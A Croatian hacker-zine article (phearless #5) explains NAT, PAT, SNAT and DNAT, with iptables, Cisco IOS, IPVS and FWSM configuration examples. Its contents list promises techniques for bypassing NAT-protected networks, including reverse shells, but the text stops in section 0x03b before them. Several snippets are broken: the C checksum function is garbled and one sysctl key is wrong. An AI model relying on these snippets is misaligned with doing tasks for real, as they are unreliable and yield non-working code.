Copy Link
Add to Bookmark
Report

5x06 Uncovering Translated Environments

eZine's profile picture
Published in 
phearless
 · 11 months ago

                                    
...................
...::: phearless zine #5 :::...

................>---[ Uncovering Translated Environments ]---<..............

............................>---[ by h44rP ]---<............................
haarp@phearless.org
0x00 Fade In

0x01 NAT (masquerading)

0x01a ICS vs. NAT (PAT/NAPT Overloading)
0x01b Inbound mapping and DYNAMIC translations
0x01c SNAT & DNAT objects

0x02 Protege Moi; Endorsements

0x02a Netfilter/IPTables
0x02b Cisco IOS
0x02c Obvious Limitations (PASV,H323,(-ALG))

0x03 Involved Features

0x03a Load Balancing (VS through ippfvs patch)
0x03b Backup (failovering) maintain (cisco >12.2(13)T)(FWSM module)
0x03c DNS proxy ability

0x04 Various Bypass Workarounds

0x04a Effective detection (sFlow)
0x04b Reversing connection (VNC/NC) & Perl shell
0x04c Inbound SSH method
0x04d Sketches (bullets) for the end

0x05 Fade Out


===========================================================================
NAPOMENA: svrha ovog teksta nema apsolutno nikakve ilegalne predznake te
je napisan iskljucivo da citatelje, eventualno, educira o necemu
sto do sada nisu imali mogucnosti u potpunosti shvatiti!!!
===========================================================================


///////////////////////////////////////////////////////////////////////////
-----> 0x00 Fade In
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\


Samo jedan txt napisan na vrijeme :( zbog premalo slobodnog vremena evo
nashao je mjesto u novom broju.. nakon premisljanja o temi i samostalnog rada
shattera na ELF-u ;) na kraju je, nadam se, sve ovo barem parcijalno ok ispalo.
Odlucio sam ipak da ostanem na mreznim implementacijskim tehnologijama, a
prvenstveno je presudan faktor bio to sto me cesto, dosta ljudi pita za nacin
kako rade i kako iskoristiti interne mreze koje se nalaze implementirane unutar
NA(P)T-a pa je tekst vrst odgovora na request doticnih i slicnih pojedinaca.

Znaci, standardan princip pojasnjavanja tehnologija i primjene te prakticnog
definiranja svih elemenata do nacina zaobilazenja tako zasticenih okruzenja.
Da bi bolje razumijeli sadrzaj teksta iznimno je pozeljno da znate barem malo
naprednije stvari o samim mrezama i protokolima.. osi, ipv4, SOHO i nesto veca
mrezna, tehnoloska implementiranja itd.. isto tako pretpostavljam da poznajete
barem osnove mreznog programiranja (C,perl) i napredno koristenje linux CLI-a.


///////////////////////////////////////////////////////////////////////////
-----> 0x01 NAT - masquerading
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\


--==<[ 0x01a ICS vs. NAT (PAT/NAPT - Overloading)
\____________________________________________/


NAT odnosno Network Address Translation (rfc 3022) jest prevodjenje
mreznih adresa iz privatnih IP adresa u one (jedinstvenu) javne, vidljivo
dostupne s neke vanjske ili globalne mreze. Sama zamisao NAT-a prilikom
njegova dizajniranja je bila da se dobije veci broj raspolozivih IP adresa
unutar neke mreze a shodno tome na vidjelo je izasla i njegova daleko najvecha
prednost, a to je prakticki skrivanje unutarnjih hostova od ostatka vanjskih
korisnika mreze sto je naravno ogroman sigurnosni cimbenik. NAT se najchesche
upotrebljava na routerima gdje iz prve ruke translatira jednu grupu odredjenih
adresa u drugu, a njegova je najshira primjena PAT (Port Address Translation).

ICS (Internet Connection Sharing) pruza alternativne, translacijske mogucnosti
a koristi se vecinom u okruzenjima od dva do deset hostova. Naravno znate da
se pomocu ICS-a najcesce povezuju kakva SOHO okruzenja na internet samo jednom
adresom odnosno konekcijom. Iako ICS podrzava DHCP alokaciju i DHCP proxy
automatizirane servise NAT je uvelike bolje rjesenje cak i u manjim okruzenjima
prvenstveno zbog cinjenice da ICS podrzava samo jedan interni, privatni subnet.

Primjer (prevodjenje vishe (dva) hostova na jednu vanjsku adresu):

________ gw: 192.168.100.1
10.10.10.8 10.10.10.9 | | __________________________
/24 /24 | (4678/4679) | | |
___ ___ _|_ 193.198.5.6 _|_ _|_ _|_
|PC1| |PC2| / \ | / \ |PC1| |PC2|
_|___|_ _|___|_ | X |---<------>----| X | _|___|_ _|___|_
|_______| |_______| \___/ | \___/ |_______| |_______|
| | | 193.198.5.5 |
|___________|________| (2548/2549) | 192.168.100.5 192.168.100.6
|__________| /24 /24
gw: 10.10.10.1

Dakle ono sto je vidljivo iz primjera jest da mi mozemo iza NAT-a (NAPT-a) u
biti imati jako puno hostova koji ce na vanjskom interface-u biti predstavljeni
iskljucivo jednom ip adresom. To je naravno moguce NAPT (Network Address Port
Translation) principom gdje se svi interni hostovi mapiraju na jednu adresu a
samo routanje se odvija preko portova. Znaci svakom hostu koji ide van iz nashe
interne mreze se adresa konveritira u adresu firewall-a koji se za nas dalje
spaja na destination hostove, a on ujedno odrzava i tabelu mapiranja sto je u
biti kljucna veza izmedju vanjskog dijela i internog interfejsa. Tu kod NAPT-a
u igru dolaze portovi. Dakle on ce za svaki interni host predodrediti odredjeni
port preko kojeg ce pratiti tu internu adresu (10.10.10.*/467*) i preko njega
znati o kojem se hostu radi. Sada vjerojatno zakljucujete da bi onda moglo biti
cak 65536 internih hostova koji mogu ovim principom pristupati vanjskom dijelu
no u praksi se to svodi na nekih 4000 sto je opet naravno jako mnogo..

Zakljucili ste da na ovaj nacin gw, prilikom primanja paketa koje ste vi slali
odnosno razmjenjivali s nekim externim hostom, po iscitavanju header-a iz IP
paketa, tocnije broju porta zna preko tablice mapiranja na koju ce internu
adresu vratiti taj paket. Razlika izmedju obicnog NAT-a tj. obicne translacije
i prikazanog primjera je u tome sto kod obicnog NAT-a port nebi igrao nikakvu
pretjerano veliku ulogu kod mappiranja internih i externih adresa vec bi se
recimo iz gornjeg primjera 10.10.10.8 interna adresa konvertirala u jednu ip
adresu a 10.10.10.9 u drugu te bi potpuno nezavisno funkcionirale u vanjskom
okruzenju tj. bile predstavljene kao dva potpuno razlicita hosta sto i jesu.

Primjer klasicne maskerade:


10.10.10.8 10.10.10.9
(src^:1234) (src^:1234) -----------------------
DEST:2.2.2.2 DEST:2.2.2.2 => :80 |pack: src:ppp IP:3457|
PROT:TCP |DST: 2.2.2.2:80 |
/24 /24 10.10.10.1 2.2.2.2 |protocol: TCP |
___ ___ ___ ___ -----------------------
|PC1| |PC2| / \ / \ |pack: src:ppp IP:3456|
_|___|_ _|___|_ | X |---<------>----| X | |DST: 2.2.2.2:80 |
|_______| |_______| \___/ | \___/ |protocol: TCP________|
| | | \ |________________________|
|______________|________| \________________________
|mapiranje: |
|int:10.10.10.8:1234|
gw: 10.10.10.1 |ext: ppp IP:3456 |
|remote:2.2.2.2:80 |
| |
|int:10.10.10.9:1234|
|ext: ppp IP:3457 |
|remote: 2.2.2.2:80 |
|-------------------|

Pretpostavljam da je iz ove skice sve prilicno jasno.. sto se u biti desava
jest izmjena podataka u headerima paketa prilikom adresne translacije. i to:

izmjena prilikom primanja
________|_________
| |
| |
|---------------------------------------------------------|
|SRC:addr|DST:addr|SRC:port|DST:port|App payload / IP,port|
|---------------------------------------------------------|
| | |
|_________________| ----------|----------------
| | ASN.1,ASCII |
izmjena prilikom slanja SFP (Secure Flow Processing)
| ovdje ulazi u igru |
---------------------------

Znaci svaki IP header mora da bude modificiran kako bi NAT bio uspjesno
implementiran. To su modifikacije na src adresi i destination adresi
ovisno o smjeru kretanja paketa. Automatski, samo modificiranje TCP i UDP
sesija znaci da se mora updejtati i njegov checksum u headeru. UDP paketi
s 0 checksum-om u headeru se ne updejtaju kao ni oni ICMP... protokola!
Kod NAPT-a se te modifikacije TCP/UDP paketa odnosno njihovih headera
baziraju na modificiranju TU port informacija te naravno src tj. dst adresa.
ICMP query-u se takodjer u ovom slucaju mijenja checksum i query ID.
Slijedi algoritam za checksum modifikacije headera:

------------------[ code ]------------------

void checksumadjust(unsigned char *chksum, unsigned char *optr,
int olen, unsigned char *nptr, int nlen)
{
long x, old, new;
x=chksum[0]*256+chksum[1];
x=~x & 0xFFFF;
while (olen)
{
old=optr[0]*256+optr[1]; oprt+=2;
x-=old & 0xffff;
if (x<=0) { x ''; x&=0xffff;
}

------------------[/code ]------------------

Upravo je port address translation princip koji je zbog ustede adresa koje
maskira iza jedne ili manjeg broja njih jedan od glavnih cimbenika zasto
IPv6 josh ne ulazi u sirokopojasnu primjenu zbog povecanja broja ip adresa!


--==<[ 0x01b Inbound mapping and DYNAMIC translations
\________________________________________________/


Nakon sto sam gore objasnio NAPT odnosno IP maskiranje koje spada u
dinamicko prevodjenje ip adresa ovdje cu navesti razlike izmedju statickog
prevodjenja koje se josh naziva i inbound mapping i tog dinamickog koje se
najcesce javlja kao spomenuti overload ili pak kao overlapping translation..

Staticni NAT mapira neregistrirane IP adrese u one registrirane (sto ovo znaci
??? ovo znaci da mi interno u private mrezi koristimo bilo koje adrese koje
zelimo a zatim se one konvertiraju u one registrirane koje su registrirane za
nasu vanjsku mrezu) preko tabele u kojoj se nalaze mapirani unosi internih i
externih adresa. Blok javih adresa je iste velicine kao i onaj privatnih sto
znaci da se translacija vrsi iskljucivo pravilom 1=1. Ovaj nacin fixnog
mapiranja adresa je posebno koristan kada odredjeni interni host ima potrebu
da mu se cesto pristupa izvana. Primjer:

___
|PC1|
_|___|_ 10.20.3.2
|_______| =============|
___ | 193.198.5.5
|PC2| _|_ |------------> ?
_|___|_ 10.20.3.3 / \ |193.198.5.6
|_______| ==========| X |=====|------------> ?
\___/ |193.198.5.7
___ | |------------> ?
|PC3| 10.20.3.4 |
_|___|_ =============|
|_______|


Dinamicko routanje je kao sto mu sama rijec kaze ono pri kojem interni host
dinamickim procesom dobija externu, javnu adresu.. sad.. to moze biti slucaj
kao kod NAT overloadinga sto zapravo i nije pravi dinamicki NAT ako se mene
pita jer prakticki se nema nova adresa prilikom output interfejsinga vec
vi imate istu adresu no kao sto sam prije pojasnio identificiranje destina-
cijskog hosta kod primanja informacija se vrsi preko porta na koji je NAPT
mappirao interni host.. dinamicko jest po tome sto se svaki put dodijeli
hostu odredjeni, pripadajuci mu port koji ga idenitificira u mapping tabeli
no 32 bitna adresa je nepromijenjena odnosno ostaje adresa firewall-a. Drugi
slucaj dinamickog routanja je klasicno usmjeravanje prometa mapiranjem hostova
tako sto se definira odredjeni range ip adresa koje su za javnu upotrebu i
svaki put kada se internom hostu dodjeljuje pripadajuca javna adresa ona se
dinamicki uzima iz tabele mapiranja pravilom prve slobodne adrese.. dakle kao
kod DHCP-a i nekih slicnih protokola.

___
|PC1|
_|___|_ 10.20.3.2
|_______| =============| range: 193.198.5.1-10..
___ | 193.198.5.5
|PC2| _|_ |------------> ?
_|___|_ 10.20.3.3 / \ |193.198.5.6
|_______| ==========| X |=====|------------> ?
\___/ |193.198.5.7
___ | \ |------------> ?
|PC3| 10.20.3.4 | \
_|___|_ =============| \______________________
|_______| |193.198.5.6(10.20.3.3)|
|193.198.5.7(10.20.3.4)|
|193.198.5.5(10.20.3.2)|
|...___________________|

Znaci kada odredjeni 10.* host zeli pristupati na neke vanjske lokacije
njegova javna ip adresa biti ce prva slobodna iz range-a 193.198.5.1-10..
Isto tako pretpostavljam da ste odmah uocili da staticko prevodjenje
odnosno prevodjenje kada src, interni host ima istu javnu adresu kada
se spaja na van nema nekog veliku utjecaja na sigurnost jer mi mozemo
raditi sve tom hostu kao i bilo kojoj drugoj mashini s javnom ip adresom
jer bit security ehacement-a ovim principom jest da vi neznate adrese
i strukturu interne mreze. !!O sigurnosti ce biti vishe rijeci kasnije!!


--==<[ 0x01c SNAT & DNAT objects
\___________________________/


Znaci source mrezne, adresne translacije i destination translacije
kao sto i sami nazivi sugeriraju razlikuju se po tome sto se src ili dest
informacije prepisuju tokom procesa translacije. Krenimo prvo od source
NAT-a. Ovdje ce znaci target promijeniti source adresu u ip headeru prilikom
slanja paketa izvan lokalne mreze na vanjski interface. Source nat sam u
biti i gore spominjao u drugim kontekstima no to je zapravo identican
princip. Znaci recimo da u lokalnom lan-u uglavnom koristimo IANA specificne
ip adrese te one nebi bile prepoznatljive da se u takvom obliku samo preusmjere
na globalni interface. one ce jednostavno biti prepisane i izgledat ce da
su svi paketi iz lokalne mreze poslani sa jednog specificnog target hosta tj
naseg firewall-a. Naravno kako sam vec prije spomenuo nije iskljucivo potrebno
da se source mappira na externi interface istim ip-em vec se jednostavno moze
napraviti tablica mappiranja pa se opet vracamu na PT, tj u ovom slucaju SNAPT.

DNAT translacija pri forwardu sa externog hosta
|
---------------------------------------------------------
|SRC:addr|DST:addr|SRC:port|DST:port|App payload / IP,port|
---------------------------------------------------------
|
SNAT translacija na izlazu iz LAN-a

Kod DNAT-a odnosno destination translacija dolazi do slijedece situacije.
recimo da primamo neki paket izvana na nash host kroz DNAT filter.. ono sto
ce on napraviti jest da ce prepisati destinacijsku adresu paketa u ip
headeru i tim je forwardati na neki interni host. Ovakav tip routanja moze
se jako dobro iskoristiti.. recimo da imate neki web server ili bilo kakav
drugi posluzitelj koji se vrti unutar vasheg LAN-a bez dodjeljene mu neke
javne adrese. tada cete jednostavnom konfiguracijom narediti hostu da sve
pakete koje primi, recimo u ovom slucaju na port 80 ili mozda IMAP forward
porta 143, preusmjeri na interni web server koji ce tada obraditi requestove.

88.146.161.1 NAT:192.168.100.1
______ ______ IMAP HTTP
|____| |____| 192.168.100.6 192.168.100.7
|____| IP:1.2.3.4 |____| ___ ___
|____| |____| |PC1| |PC2|
| |------------/ | | _|___|_ _|___|_
|||||| /-------------|||||| |_______| |_______|
|||||| |||||| | |
|||||| ||||||_____________|___________|
|____| |____|
______|______________________________|___ ______________________
SRC: 88.146.161.1:2324| Translacija: |SRC:88.146.161.1:2324 |
DST: 1.2.3.4:80 |1.2.3.4:80 prevod |DST:192.168.100.7:80 |
Protocol: TCP |192.168.100.7:80 |Protocol:TCP |
----------------------|------------------|----------------------|
SRC: 88.146.161.1:2168|1.2.3.4:143 prevod|SRC:88.146.161.1:2168 |
DST: 1.2.3.4:143 |192.168.100.6:143 |DST:192.168.100.6:143 |
Protocol: TCP |------------------|Protocol:TCP |
-----------------------------------------|----------------------|


///////////////////////////////////////////////////////////////////////////
-----> 0x02 Protege Moi; Endorsements
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\


--==<[ 0x02a Netfilter/IPTables
\_________________________/


Evo nakon sto ste nadam se potpuno jasno shvatili pricip rada svih vrsta
gore spomenutih mreznih translatiranja dosli smo do dijela u kojem cu pokusati
vam poblize objasniti implementacije na nekolicini uredjaja odnosno korisnickih
okruzenja. Iako vam vecini iptables-i izlaze i na ushi bilo bi steta ovdje ne
opisati neke nacine korisne upotrebe NAT-a upravo preko tog linux paketa. Jasno
necu ovdje opisivati kako radi netfilter vec cu samo pokazati ukljucivanje i
koristenje nat-a na taj nacin. Iptables implementacija je meni osobno i daleko
najbolja i najprihvatljivija, a i prvenstveno jer vecina nema mogucnosti to
obaviti na nekom stvarnom routeru, a neke implementacije na drugim operativnim
sustavima su daleko nestabilnije npr. kerio winroute kojeg je prelako moguce
onesposobiti. Takodjer, odlucio sam ne spominjati neke metode koje sam prije
koristio u ove svrhe npr. preko ipfwadm-a, ipchains-a vec samo iptables nacine.
Idemo spomenuti neke gore objasnjene tipove NAT-ovanja.. btw. ako niste cesto
koristili iptables procitajte man page-e ili txt od blood-a iz mislim broja2!

Prije nego pocnete s implementacijom nat-a potrebno je dodati NAT modul npr:

------------------[ shell ]------------------
haarp@madness:~#modprobe iptables_nat
------------------[/shell ]------------------

te isto tako ukljuciti ip forwarding u parametre kernela! za one koji ne znaju:

direktnim outputom u /proc
------------------[ shell ]------------------
haarp@madness:~#echo 1 > /proc/sys/net/ipv4/ip_forward
------------------[/shell ]------------------

ili preko sysctl-a.. isto tako mozete provjeriti sve mrezne parametre koji
su trenutno podeseni sa "sysctl -a |grep -i net"..

------------------[ shell ]------------------
haarp@madness:~#sysctl -w nat.ipv4.ip_forward=1
------------------[/shell ]------------------

Prvo cu pojasniti klasicno podesavanje SNAT-a koje je i najjednostavnije:

------------------[ shell ]------------------
haarp@madness:~#iptables -t nat -A POSTROUTING -o eth0 -j SNAT --to 161.68.11.2
------------------[/shell ]------------------

U ovom gore primjeru pretpostavljam da je sve jasno kao dan.. dakle napravio
sam jednostavan source nat na 161.68.11.2!!
no ajmo sad napravit pool za neki range, recimo do *.*.11.9:

------------------[ shell ]------------------
haarp@madness:~#iptables -t nat -A POSTROUTING -o eth0 -j SNAT
--to 161.68.11.2-161.68.11.9
------------------[/shell ]------------------

sada cu ukljuciti i portove .. uzet cemo da koristi odredjeni pool prilikom
obavljanja translacije..

------------------[ shell ]------------------
haarp@madness:~#iptables -t nat -A POSTROUTING -o eth0 -j SNAT
--to 161.68.11.2:1-2048
------------------[/shell ]------------------

kada zelite podesiti destination NAT ukucajte sljedece:

------------------[ shell ]------------------
haarp@madness:~#iptables -t nat -A PREROUTING -i eth0 -j DNAT --to 192.68.1.2
------------------[/shell ]------------------

te na isti nacin za pool kao sto sam za SNAT pokazao nekoliko linija gore.
recimo sada da zelite iskoristiti onaj nacin routanja do internog npr. www
server koji ce se recimo u ovom primjeru adresirati kao 192.168.0.1!

------------------[ shell ]------------------
haarp@madness:~#iptables -t nat -A PREROUTING -p tcp --dport 80 -i eth0
-j DNAT --to 192.168.0.1:8080
LOAD-BALANCER


--==<[ 0x02b Cisco IOS
\_________________/


Implementacija na cisco routeru takodjer nije neshto posebno komplicirana
te se sve u biti svodi na nekoliko logicnih linija u cisco IOS CLI sucelju!!
tip* ip adrese, netmaske i wildcardovi su naravno koristeni za testiranje kako
mi je palo na pamet pa naravno sve prilagodite svojem subnetu tj. mrezi..

Prvo cu pokazati kako se podesava klasican staticki NAT na cisco routerima:

------------------[/C_cli ]------------------
cisco(config)#ip nat inside source static 10.19.11.1 193.198.100.101
cisco(config)#interface eth0
cisco(config-if)#ip nat inside
cisco(config)#interface s0
cisco(config-if)#ip nat outside
------------------[/C_cli ]------------------

Dinamicki nat koji cu upravo pokazati uz nat pool koristi access liste
pa se nadam da ste procitali onaj maleni dio o njima u proslom tekstu! :)

------------------[/C_cli ]------------------
cisco(config)#ip nat pool range 10.10.10.6 10.10.10.19 netmask 255.255.255.0
cisco(config)#access-list 1 permit X.X.0.0 0.0.0.255
cisco(config)#ip nat inside source list 1 pool range
cisco(config)#interface eth0
cisco(config-if)#ip nat inside
cisco(config)#interface s0
cisco(config-if)#ip nat outside
------------------[/C_cli ]------------------

takodjer je naravno podrzano konfiguriranje sucelja kao DNAT,PAT interface.

------------------[/C_cli ]------------------
cisco(config)#access-list 1 permit X.X.0.0 0.0.0.255
cisco(config)#ip nat inside source list 1 interface serial 0 overload
cisco(config)#interface eth0
cisco(config-if)#ip nat inside
cisco(config)#interface s0
cisco(config-if)#ip nat outside
------------------[/C_cli ]------------------

jos mogu spomenuti i nat-pat translaciju na neku odredjenu adresu:

------------------[/C_cli ]------------------
cisco(config)#access-list 1 permit X.X.0.0 0.0.0.255
cisco(config)#ip nat pool range 10.10.10.10 netmask 255.255.255.0
cisco(config)#ip nat inside source list 1 pool range overload
cisco(config)#interface eth0
cisco(config-if)#ip nat inside
cisco(config)#interface s0
cisco(config-if)#ip nat outside
------------------[/C_cli ]------------------

sve postavke koje ste podesili i njhovo brisanje mozete provjeriti i izvrsiti
sa nekoliko komandi:

------------------[/C_cli ]------------------
cisco(config)#show ip nat translations
cisco(config)#show ip nat statistics
cisco(config)#clear ip nat translation
------------------[/C_cli ]------------------


--==<[ 0x02c Obvious Limitations (PASV,H323,(-ALG))
\_____________________________________________/


Znaci NAT iako ima podosta velik broj prednosti nije uspio preskociti
odredjene poteskoce koje dolaze samom translacijom adresa, pogotovo kada je
u igri port translation kada racunala interne mreze imaju iskljucivo jednu,
jedinstvenu externu adresu i to onu od svog gateway-a na kojem se vrti NAPT
implementiran na jedan od mnogo nacina.

Osobno koristeci NAT/PAT tehnologiju kroz cca tri godine naisao sam na mnogo
problema koje on donosi te uspio istestirati nekoliko nacina njegova
implementiranja u interne mreze, no naravno da postoji vjerojatno josh dosta
problema koje on donosi a s kojima se nisam direktno susreo no ovdje cu ukratko
pokazati nekoliko njih, definirati ih te objasniti zasto do njih dolazi...

Prvi i ujedno tada najveci problem je bio rad file transfer protokola.. dakle
FTP protokol je predstavljao problem mreznom translatoru jer je on u svom
odredjenom mod-u rada onemogucavao valjanu konekciju s nekim externim strojem.
FTP naravno koristi dva kanala za komunikaciju server/client i kao sto znamo
preko, permanentnog, prvog ostvaruje konekciju na 21 port te njime vrsi
komandnu komunikaciju sa serverom. Drugi kanal se postavlja svaki puta kada
data tranfer mora da bude realiziran (dir-ovanje,file transf..). Sada kod
aktivnog nacina rada set-iranje konekcije dolazi u pitanje jer je tada ono
prepusteno serveru. znaci nakon command exchange-a na 21 portu socket na
portu 20(?) moze komunicirati sa serverom. Ajde da i pojasnim jedan ftp
session kad sam se vec dohvatio i te teme..

ACTIVE FTP:
znaci klijent sa nekog >1024 porta salje connect request na 21 port servera.
Zatim naravno slusha na port+1 portu i salje FTP komandu PORT >1024+1.. zatim
se server spaja natrag na klijenta sa svog porta 20 na ovaj koji mu je ovaj
javio. dakle sve je naravno jasno... handshake sa klijentovog dinamickog porta
i serverskog 21-og. Te naravno zatim slijedi koristenje data kanala na isti
princip.

Problem je naravno u tome sto kod aktivnog moda klijent ne javi serveru nashu
pravu adresu vec onu nasheg gateway-a tj. NAT translatirane adrese pa kad
se ovaj bude isho spajat na nas nece se spajat na nas >1024+1 port koji smo mi
otvorili vec na taj port nasheg gateway-a koji na njemu naravno nije otvoren.
Zato je za ovo rjesenje sa koristenjem pasivnog moda.. on radi na ovaj nacin:

PASV FTP:
klijent ostvaruje konekcije sa obadva dinamicka porta.. dakle i onog prvog
dinamickog i +1 porta. sa prvog se naravno kontaktira server na 21 portu, a
sa drugog umjesto connect-back komande PORT poslat cemo PASV komandu. Tada
ce server otvoriti neki svoj random >1024 port i poslati PORT komandu klijentu
koji ce se tada spojiti data kanalom na taj port na FTP posluzitelju!

uff. upravo se dvoumim dali da brisem sve ovo ali ajde neka.. za nekog tko
mozda zaluta a nezna apsolutno nista o protokolima mozda bude korisno...
ostali .. sorry na digresiji.. :)

-=H323=-
--------
Isto tako problematican protokol za komunikaciju preko nat-ovanih okruzenja
s kojim sam se cesto susretao.. njega vam od poznatijih aplikacija koristi
NetMeeting kao primarni video-conferencing protokol. Ksto tako rabe ga
uredjaji kao sto su polycom za TC/VC itd. problem je u tome sto netmeeting
koristi dinamicke portove umjesto statickih te bi teoretski onda trebali
otvoriti 60000 portova na firewall-u da bi to sve skupa normalno
funkcioniralo. problem ovdje je i vishe nego jasan. medjutim:

======================
protokol h323 specifican je kao i neki slicni protokoli prvenstveno jer
uzorkuje problem tako sto jedan poziv koristi dvije TCP konekcije i nekoliko
UDP konekcija. Data se stavlja u payload sto mozda i nebi bio problem ali
je cijeli payload encodiran prek ASN-a sto je pak prekompleksno da bi obican
NAT mogao detektirati i dekodirati takve segmente paketa.
======================

Rjesenje sam pronasao u nmproxy-u. On se zapravo ponasha kao direktan posrednik
izmedju dvaju end-ova konekcije.. recimo da vrtite default nmproxy na stroju:

------------------[ shell ]------------------
iptables -I PREROUTING -t nat -p tcp --dport 1720 -j REDIRECT
iptables -I INPUT -p tcp --dport 1720 -j ACCEPT
iptables -I INPUT -p tcp --dport 10200:10209 -j ACCEPT
iptables -I INPUT -p udp --dport 10200:10259 -j ACCEPT
iptables -I OUTPUT -p tcp -j ACCEPT
iptables -I OUTPUT -p udp -j ACCEPT
iptables -I INPUT -p tcp ! --syn -j ACCEPT
------------------[/shell ]------------------

josh je prilicno puno problema koji se javljaju u ovakvima situacijama.. neke
od znanih su problemi sa SNMP-om,SIP-om,quake... etc. pa se vjerojatno pitate
kako izbjeci ove i slicne probleme... trebate li onda izbjegavati NAT kao
sigurnosno i korisno rjesenje.. pretpostavljam da si rijetko tko moze dopustiti
da mu ne radi odredjeni, velik broj aplikacija koji prenose ip informacije u
data segmentima i drugim channel-ima na neke specificne nacine. Takodjer cujem
cesto kako je puno stvari vec rjeseno na odredjenim suceljima (uglavnom na
windoze implementacijama). Jedno od postojecih rjesenja je ALG, proxy proces
koji se brine dali payload treba da bude prilagodjavan, ali o tome i SPF cu
pisati nadam se za drugi put jer je to jako opsirno podrucje pa nema smisla da
ga ubacujem ovdje jer nije direktno povezano s tekucom, pretpostavljenom
tematikom.


///////////////////////////////////////////////////////////////////////////
-----> 0x03 Involved Features
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\


Ovaj dio sam predvidio kao najkraci, samo da spomenem i ukratko opisem
neke dodatne mogucnosti koje mozemo korisno iskoristit na NAT/PAT okruzenjima!
vidjet cemo u kolikoj cu se mjeri drzati tog "najkraci"... :p


--==<[ 0x03a Load Balancing (VS through ippfvs patch)
\_______________________________________________/


Prva korisna stvar koja se moze iskoristiti jest load-balancing. O cemu
se ovdje zapravo radi.. server cluster na vanjskoj adresi predstavljen je
externom adresom gatewaya na kojem se nalazi virtualni server..

LOAD-BALANCER
______
|____| PRAVI SERVERI
|____| ___ ___ ___
|____| |PC1| |PC2| |PCn|
EXT | |----<-->----| _|___|_ _|___|_ _|___|_
====|||||| |----| |_______| |_______| |_______|
VS |||||| | SW | | | |
|||||| |/HUB|___<____>____|___________|__________|__________
|____| |----| |192.168.155.2|192.168.155.3|192.168.155.4|
|-----------------------------------------|
192.168.155.1

Znaci kada korisnik izvana zatrazi neki servis koji posjeduje serverski
cluster, paket namijenjen virtualnom serveru dolazi na load balancer. Tada
load-balancer pregledava destinaciju paketa i port. Ako se ono poklapa sa
servisom virtualnog servera prema rule tablici, odabire se pravi server
iz clustera preko rasporednog algoritma. Nakon toga konekcija se dodaje u
hash tabelu koja sadrzi uspostavljene konekcije. Zatim se odredisna adresa
i port prepisuju u paketu onako kako odgovara stvarnom posluzitelju te se
paket prosljedjuje stvarnom serveru. prilikom reply-a load-balancer prepisuje
src adresu i port te vraca paket posiljatelju, a nakon sto se prekine ili
istekne konekcija ona se brise iz vec spomenute hash tabele. Dakle na load
balancer serveru moze imati linux i vrlo jednostavno forward-ati paket..
recimo sada da preko ipwadm zelimo prihvacati pakete iz interne mreze tj.
pakete stvarnih servera..

------------------[ shell ]------------------
ipfwadm -F -a m -S 192.168.155.0/24 -D 0.0.0.0/0
------------------[/shell ]------------------

siguran sam da ovdje nema nista nejasno.. znaci shvatite to kao obicno VS
mapiranje i forward-anje na stvarne servere.. isto tako moguce je prema
load-u na konekcijama raspodijeliti konekcije na vishe internih istosvrsnih
servera.. znaci recimo da imate neki pretrazivacki engine i da vam je
jednostavno previshe request-ova upuceno svaki trenutak i da server nije u
potpunoj mogucnosti obradjivati informacije u zeljenim performansama
jednostavno cete napraviti nekoliko "kloniranih" servera na ovaj nacin i
podesiti load-balancer da jednostavno na vama zeljeni nacin poduzima akcije
shiftanja po vecem broju servera kako bi cijela stvar bila brza i ucinkovitija!

ovdje cu izlistati primjer onoga sto vam je potrebno da ukljucite u vas kernel
kako bi stvar funkcionirala kako treba:

------------------[ config ]------------------
Code maturity level options --->
[*] Prompt for development and/or incomplete code/drivers

Networking options --->
[*] Network packet filtering (replaces ipchains)
[ ] Network packet filtering debugging
...
IP: Netfilter Configuration --->
IP: Virtual Server Configuration --->
<M> virtual server support (EXPERIMENTAL)
[*] IP virtual server debugging
(12) IPVS connection table size (the Nth power of 2)
--- IPVS scheduler
<M> round-robin scheduling
<M> weighted round-robin scheduling
<M> least-connection scheduling scheduling
<M> weighted least-connection scheduling
<M> locality-based least-connection scheduling
<M> locality-based least-connection with replication scheduling
<M> destination hashing scheduling
<M> source hashing scheduling
--- IPVS application helper
<M> FTP protocol helper
------------------[/config ]------------------

takodjer je potrebno dodati VS patch za kernel.. napominjem da je ovo gore
predvidjeno za 2.4.x kernel tako da se vjerojatno neke opcije razlikuju od
2.6.x kernela. Nakon sto imate sve potrebno mozete dodati stvarne servere:

------------------[ shell ]------------------
ippfvsadm -A -t EXT_IP_ADDR:80 -R 192.168.155.3:80 -w 1
ippfvsadm -A -t EXT_IP_ADDR:80 -R 192.168.155.2:8000 -w 2
ippfvsadm -A -t EXT_IP_ADDR:21 -R 192.168.155.2:21
------------------[/shell ]------------------


--==<[ 0x03b Backup (failovering) maintain (cisco >12.2(13)T)(FWSM module)
\_____________________________________________________________________/


Josh je jedna korisna mogucnost koju donosi upotreba cisco nat mreznih
okruzenja, a to je izgradnja jedne vrste failover clustera. Znaci recimo da
imamo dva routera sredjena u takvo okruzenje desava se to da ce ukoliko dodje
do problema na nashem gateway-u sav promet biti prebacen odnosno preusmjeren
na drugi usmjerivac koji nema takvih problema. No kada sam razmisljao o ovom
nisam samo mislio o takvoj vrsti backup-a koja se moze u biti podesiti i bez
stvarnog nat-ovanog configuriranja. Ovdje sam pomislio na to da recimo uz
globalne dinamicke postavke NAT-a postavimo i PAT globalne, ako zelimo dyn
nat za odredjene aplikacije ali recimo da ipak hocemo imati backup pat konf
za slucaj da su svi used-up. ovdje cu pojasniti i Firewall Services Module
odnosno FWSM na cisco usmjerivacima i switchevim (Cisco Catalyst® 6500
switches and Cisco 7600). Kod njegova koristenja modul vrsi lokalno-globalne
translacije. koristenjem modula nekakvo jednostavno podesavanje recimo tri
interna hosta bi izledalo nekako ovako:

------------------[ C_cli ]------------------
FWSM/contexta(config)# nat (inside) 1 INT_ADDR 255.255.255.0
FWSM/contexta(config)# global (outside) 1 EXT_POOL(2)
FWSM/contexta(config)# global (outside) 1 EXT_ADDR
------------------[/C_cli ]------------------

recimo za primjer definiranje jednog dyn odnosno NAT statementa i dva PAT-a!
